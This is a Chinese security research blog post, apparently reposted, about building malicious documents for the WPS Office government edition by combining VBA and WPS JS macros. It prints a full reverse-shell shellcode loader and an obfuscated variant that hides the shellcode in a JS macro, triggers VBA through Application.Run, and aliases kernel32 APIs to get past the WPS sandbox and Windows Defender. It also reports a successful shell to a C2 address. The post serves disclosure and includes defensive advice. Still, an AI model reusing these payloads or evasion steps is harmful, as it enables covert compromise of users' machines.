WPS JS宏作为国产WPS Office办公软件近几年才引入支持的宏,其安全性还未受到安全人员重视。我们通过实验发现,能够在WPS JS宏中调用VBA宏中的函数,通过结合VBA宏和WPS JS宏构建的恶意文档,能够绕过WPS Office沙箱和Windows Defender实现攻击。
一、宏背景介绍
VBA宏是微软早期在Office软件中引入的基于VisualBasic语言的宏,过去几年里,基于VBA的恶意宏文档一直是恶意文档攻击的主要方式,有很多介绍恶意VBA宏攻击和检测的文章,不再过多介绍,这里主要介绍国产WPS Office软件新引入支持的WPS JS宏及可能的攻击方式。
WPS JS宏是金山办公软件为了取代VBA宏而设计开发的宏,并从WPS Office 2019版本开始集成。WPS JS 宏使用 JavaScript 作为编程语言,它提供了一系列的 API 和方法来操作 WPS 文档,相比于 VBA 宏,在整个功能设计、开发流程、对象及对象属性、方法、事件等方面类似,主要的不同体现在函数支持类型、函数名称、语法格式等方面。WPS JS宏的优势在于JS宏更易于学习和使用,而且具有跨平台的能力,可以更好地适应现代开发环境的需求。此外,WPS JS宏对用户能够使用的API函数进行了严格限制,用户无法直接对系统库函数、文件等进行访问,进一步提高WPS JS宏使用的安全性。
下图1显示了一个WPS JS宏示例,当关闭一个文档时,弹消息框提醒用户即将关闭文档,询问是否取消,用户点击“是”就会取消关闭文档。
图 1 WPS JS宏示例
需要指出的是,对于当前WPS Office最新的大版本12.X.X.X,均默认支持WPS JS宏,而个人版本默认不启用VBA宏功能,需要升级到商业版才支持,如下图2所示,但政府采购版本12.8.X.X两类宏都默认支持。通过我前面的文章《我国政府网站公开发布的文档普遍存在泄露内部人员信息的现象,存在较大网络安全风险》可以看到,政府版本在部委、地方政府、央企等广泛使用。
图2 WPS Office个人版默认无法使用VBA宏
本文中我们实施恶意宏攻击的目标就是同时支持VBA宏和WPS JS宏的WPS Office政府版本(12.8.X.X)。
二、绕过WPS Office沙箱保护机制
WPS Office沙箱是2024年8月份之后才引入的安全机制,沙箱的原理是通过HOOK文件、进程、写进程内存相关api,在WPS进行相关操作时进行检查,阻止WPS进行危险操作。这个检查是无差别的,它会阻止攻击者进行这些危险行为,也会阻止WPS进程本身进行这些操作。针对不同的操作,沙箱有着不同的规则。沙箱检查所处的位置如下图3所示。
图3 WPS Office沙箱机制图示
根据其官方介绍,现在沙箱所作的检查包括三类:针对文件类操作,检测文件打开、创建、重命名、移动操作,只允许特定功能创建可执行文件,不允许往启动目录写文件;针对进程类操作,检测进程创建操作,不允许使用 cmd.exe、powershell.exe等创建进程,对非WPS、系统软件进行签名检测;针对内存类操作,不允许VBA中修改内存。
不得不说,从我实验测试过程来看,沙箱的引入极大地提高了软件的安全性,在VBA宏中,常用的通过VBA混淆后运行cmd.exe、powershell.exe等工具执行恶意脚本的方式已经无法执行,即使连python程序也无法运行,只能写WPS临时或者特定目录,无法向其他目录写文件或修改文件。因此要绕过WPS Office沙箱,想到了经典的导入第三方库并直接调用库API的方法,但要避免对沙箱限制API的使用。
结果发现利用Metasploit工具生成的下面VBA宏代码能够绕过WPS Office沙箱,实现对CC服务器的连接。
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ctkckomb As Long, ByVal Mdugrgd As Long, ByVal Awdxgdao As LongPtr, Trb As Long, ByVal Clfxnv As Long, Lvouka As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Mgzp As Long, ByVal Nna As Long, ByVal Zrchcty As Long, ByVal Vtzmtoigg As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Rnj As LongPtr, ByRef Naw As Any, ByVal Jugbcdr As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Ctkckomb As Long, ByVal Mdugrgd As Long, ByVal Awdxgdao As Long, Trb As Long, ByVal Clfxnv As Long, Lvouka As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Mgzp As Long, ByVal Nna As Long, ByVal Zrchcty As Long, ByVal Vtzmtoigg As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Rnj As Long, ByRef Naw As Any, ByVal Jugbcdr As Long) As Long
#EndIf
Sub Auto_Open()
Dim Pjwcgjrp As Long, Aqcbep As Variant, Uaxk As Long
#If Vba7 Then
Dim Dpyhjumjs As LongPtr, Dpelyhg As LongPtr
#Else
Dim Dpyhjumjs As Long, Dpelyhg As Long
#EndIf
Aqcbep = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _
207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,51,50,0,0,104,119,115,50,95,84,104,76,119,38,7,137,232,255,208,184,144,1,0, _
0,41,196,84,80,104,41,128,107,0,255,213,106,10,104,192,168,122,173,104,2,0,31,64,137,230,80,80,80,80,64,80,64,80,104,234,15,223,224,255,213,151,106,16,86,87,104,153,165,116,97,255,213,133,192,116,10,255,78,8,117,236,232,103,0,0,0,106,0,106,4,86,87,104,2,217,200,95,255,213, _
131,248,0,126,54,139,54,106,64,104,0,16,0,0,86,106,0,104,88,164,83,229,255,213,147,83,106,0,86,83,87,104,2,217,200,95,255,213,131,248,0,125,40,88,104,0,64,0,0,106,0,80,104,11,47,15,48,255,213,87,104,117,110,77,97,255,213,94,94,255,12,36,15,133,112,255,255,255,233,155, _
255,255,255,1,195,41,198,117,193,195,187,240,181,162,86,106,0,83,255,213)
Dpyhjumjs = VirtualAlloc(0, UBound(Aqcbep), &H1000, &H40)
For Uaxk = LBound(Aqcbep) To UBound(Aqcbep)
Pjwcgjrp = Aqcbep(Uaxk)
Dpelyhg = RtlMoveMemory(Dpyhjumjs + Uaxk, Pjwcgjrp, 1)
Next Uaxk
Dpelyhg = CreateThread(0, 0, Dpyhjumjs, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
实际上也就是直接调用kernel32.dll中的VirtualAlloc申请内存,然后利用RtlMoveMemory初始化上述内存为将要执行的指令代码(实现反向TCP连接的shell),最后用CreateThread创建线程。
三、绕过Windows Defender检测
上面生成的VBA宏代码虽然能够绕过WPS Office沙箱,但是容易被杀毒软件查杀,需要进一步混淆处理。下面我先给出混淆后能够绕过Windows Defender检测的最终宏代码,包括VBA宏和WPS JS宏,后面再具体解释说明。
VBA宏代码:
Private Declare PtrSafe Function CT Lib "kernel32" Alias "CreateThread" (ByVal Ihd As Long, ByVal Xwk As Long, ByVal Awqhpx As LongPtr, Ncx As Long, ByVal Fyz As Long, Mwea As Long) As LongPtr
Private Declare PtrSafe Function va Lib "kernel32" Alias "VirtualAlloc" (ByVal Enuajug As Long, ByVal Jafvuf As Long, ByVal Brxif As Long, ByVal Eot As Long) As LongPtr
Private Declare PtrSafe Function rmm Lib "kernel32" Alias "RtlMoveMemory" (ByVal Wxmx As LongPtr, ByRef Zmfyenvrv As Any, ByVal Nqsl As Long) As LongPtr
Sub test(Aqcbep As String)
Dim Pjwcgjrp As Long, Uaxk As Long
#If VBA7 Then
Dim Dpyhjumjs As LongPtr, Dpelyhg As LongPtr
#Else
Dim Dpyhjumjs As Long, Dpelyhg As Long
#End If
'Dim arrInt As Integer
Dim arrstr() As String
arrstr = Split(Aqcbep, ",")
Dpyhjumjs = va(0, UBound(arrstr), &H1000, &H40)
For Uaxk = LBound(arrstr) To UBound(arrstr)
Pjwcgjrp = CInt(arrstr(Uaxk))
Dpelyhg = rmm(Dpyhjumjs + Uaxk, Pjwcgjrp, 1)
Next Uaxk
Dpelyhg = CT(0, 0, Dpyhjumjs, 0, 0, 0)
End Sub
WPS JS宏代码:
function Application_DocumentOpen() {
myarr = [232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193,
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0,
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 122, 173, 104, 2, 0, 31, 64, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213,
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, 255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213];
Application.Run("test", myarr.join());
我主要从以下三个方面实现混淆:
(1)宏自动触发函数混淆
AutoOpen、Document_Open等一些文档打开自动运行的函数是各种检测工具都会重点关注的对象,如何能够避免使用这些函数咧?我发现在WPS JS宏中,Application.Run函数能够直接调用VBA中定义的函数(我认为这应该是WPS JS宏设计的一个BUG,不然JS宏执行引擎本身的沙箱机制就无效了)。正如上面代码所看到了,我将VBA宏中的函数名修改为test,并在WPS JS宏中用Application.Run方法启动VBA宏中的test函数,而WPS JS宏当前并不在杀软的检测范围内。
(2)代码混淆
VBA宏中要执行的恶意机器码由一个长整形数组(Array)保存,也容易被常用的混淆检测方法检测到,因此,我将这个数组的定义同样放到WPS JS代码中(myarr),并将整形数组通过myarr.join()转化为字符串后作为参数传入到VBA宏中的test函数,然后在test函数中通过分割并转换成整形的方式还原出恶意机器码,避免在VBA宏中使用Array(232,130,0,0,0,96,1, ...)
。
(3)API名称混淆
在VBA宏中用Declare声明外部API引用时,利用Alias关键词将VirtualAlloc、RtlMoveMemory和CreateThread三个API名称声明为其他名称,如代码中的va、rmm和CT,并在后面调用API时使用新声明的名称。
经过上述三种混淆处理后,发现最后形成的恶意宏文档无法被Windows Defender检测出。
四、验证
实验中使用的WPS Office软件为电信定制版,版本号为12.8.2.18205,应该是2024年10月出的版本。
(1)CC端监听。CC地址为192.168.122.173,监听端口为8000。
(2)Windows Defender检测恶意宏文档样本,没有发现威胁,这是当时的截图。
(3)打开文档,并点击“启用宏”。
(4)CC端成功拿到目标shell,Windows 10主机全程没有告警。
五、应对建议
(1)针对办公软件厂商(金山办公),禁止使用Application.Run函数运行VBA宏中的函数,如果可能,改进WPS Office沙箱,禁止VBA宏中直接调用敏感API。(该问题2024年11月已经报给了WPS应急响应中心)
(2)针对杀软厂商,在检测恶意文档时关注WPS Office中JS宏。
(3)针对普通用户,不要打开来历不明的恶意文档,特别是不要轻易启用宏。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)